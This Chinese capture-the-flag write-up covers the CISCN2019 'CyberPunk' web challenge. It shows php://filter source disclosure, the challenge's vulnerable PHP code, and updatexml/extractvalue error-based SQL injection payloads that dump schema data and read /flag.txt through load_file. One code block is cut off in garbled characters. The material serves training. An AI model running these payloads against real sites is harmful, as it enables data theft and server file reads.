0x00 知识点

PHP伪协议直接读取源码

http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php

updatexml报错注入

不懂的可以看链接:

https://blkstone.github.io/2017/11/09/updatexml-sqli/

关于 updatexml 函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

http://www.target.com/index.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,SUBSTR((SELECT @@version),1,24),0x7e),1)

这里解释一下为什么会报错:

ONCAT(str1,str2,…)  

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

错误大概会是:

ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

另外,updatexml最多只能显示32位,需要配合SUBSTR使用。

updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)

扩展:extractvalue() 报错型SQL注入

1 && extractvalue(0x0a,concat(0x0a,(select database())))#
1 && extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,1,32) from f14g)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,15,32) from f14g)))#

0x01 解题

根据源代码提示

先用伪协议读一下源码:

以此类推得到我们通过点击得到的页面

<?php   //index.php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?> <!--?file=?-->
<?php  //change.php
require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
} if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单ä
<?php  //search.php
require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
} if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

分析一下代码:

在查询的时候使用了正则去过滤,而且过滤的内容非常广泛,很难进行注入。

在写入时候使用了预处理所以无法进行注入。但是可以注意到使用正则过滤的时候并没有对地址过滤,我们跟进可以发现在change.php里地址是拼接进sql语句了,但是使用了addslashes()对单引号进行了转义,导致无法逃逸。

但是看这里

$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}

在修改地址时候会将地址查询出来再拼接到更新语句,那么这里就算我们逃逸不了但是可以将后面的单引号给注释掉导致报错,同时这里将sql错误内容给打印出来了,可以使用报错注入。

payload:

//数据库
1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#
//表名
1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#
//字段
1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.columns where table_name='user'),0x7e),1)#
//数据
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

这里来解释一下最后的数据,因为我们在查询数据的时候没有flag,就想到了查根目录的flag文件。而且flag分了2部分,我们就应substr查。

使用payload:

先在初始页面随便输数据

接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,这样就能看到报错页面。

如果想要使用新的payload,只需要先删除订单在重复以上操作即可。

参考链接:https://www.plasf.cn/2019/11/02/2019-11-2-复现CISCN2019-华北赛区-Day1-Web5]CyberPunk/

[CISCN2019 华北赛区 Day1 Web5]CyberPunk的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  2. BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk 看题 看源码有提示?file=? 文件包含漏洞,可以利用这个漏洞读取源码. 分析 index.php?file=p ...

  3. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  4. 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...

  5. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  6. BUUCTF | [CISCN2019 华北赛区 Day1 Web2]ikun

    步骤: 找到lv6的购买出,修改折扣买lv6 :然后找到admin的登陆界面,JWT破解,登陆admin :点击一键成为大会员,利用python反序列化漏洞读取flag 解析: 这题师傅们的WP已经很 ...

  7. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

  8. [CISCN2019 华北赛区 Day1 Web1]Dropbox

    0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...

  9. [CISCN2019 华北赛区 Day1 Web2]ikun

    知识点:逻辑漏洞.jwt密钥破解.python反序列化漏洞 进入靶机查看源码: 提示需要买到lv6,注册账号发现给了1000块钱,根据ctf套路应该是用很低的价格买很贵的lv6,首页翻了几页都没发现l ...

随机推荐

  1. 16核锐龙9延期真正原因 A饭热情太恐怖了

    锐龙9 3950X处理器是AMD发布的首款16核游戏处理器,原本会在9月上市,上周末AMD官方宣布它会延期2个月上市,会在11月跟锐龙Threadripper三代处理器一起上市. 锐龙9 3950X的 ...

  2. Linux命令:ls命令

    ls命令:(list directory contents),列出目录内容 用法:ls [options] [file_or_dirs] ls命令常用选项 ls -l 显示文件的长格式信息 ls -d ...

  3. Spring事务原理分析-部分二

    Spring事务原理分析-部分二 说明:这是我在蚂蚁课堂学习了余老师Spring手写框架的课程的一些笔记,部分代码代码会用到余老师的课件代码.这不是广告,是我听了之后觉得很好. 课堂链接:Spring ...

  4. Linux centosVMware shell脚本介绍、shell脚本结构和执行、date命令用法、shell脚本中的变量

    一. shell脚本介绍 shell是一种脚本语言 aming_linux blog.lishiming.net 可以使用逻辑判断.循环等语法 可以自定义函数 shell是系统命令的集合 shell脚 ...

  5. SystemVerilog Assertion 设计、调试、测试总结(3)

    上两篇主要是讲述断言的概念,基本语法,总结等等 这一篇主要是以PPT的形式展示各个场景下关于断言的应用. 为了在设计中加入断言的功能,因此需要写一个DUT.如下: `define `define fr ...

  6. JDBC--处理事务

    1.事务是指一组逻辑操作单元,使数据从一种状态转换到另一种状态. 2.事务的四个属性: --1)原子性:事务是一个不可分割的工作单位,事务中的操作要么都发生要么都不发生: --2)一致性:事务必须是数 ...

  7. Metasploit学习笔记——移动环境渗透测试

    书364页配置假冒AP步骤,因为没有无线网卡,先跳过这个实验.

  8. 导弹拦截p1020(LIS问题)

    题目描述(题目链接:https://www.luogu.org/problem/P1020) 某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统.但是这种导弹拦截系统有一个缺陷:虽然它的第一发炮弹能够 ...

  9. 「NOIP2011」Mayan游戏

    传送门 Luogu 解题思路 爆搜,并考虑几个剪枝. 不交换颜色相同的方块(有争议,但是可以过联赛数据 \(Q \omega Q\)) 左边为空才往左换 右边不为空才往右换 因为对于两个相邻方块,右边 ...

  10. Unity3D渲染优化技巧

    优化图形性能 良好的性能对大部分游戏的成功具有决定作用.下面是一些简单的指导,用来最大限度地提高游戏的图形渲染. 图形需要哪些开销 游戏的图形部分主要开销来自电脑的两个系统: GPU 或 CPU.优化 ...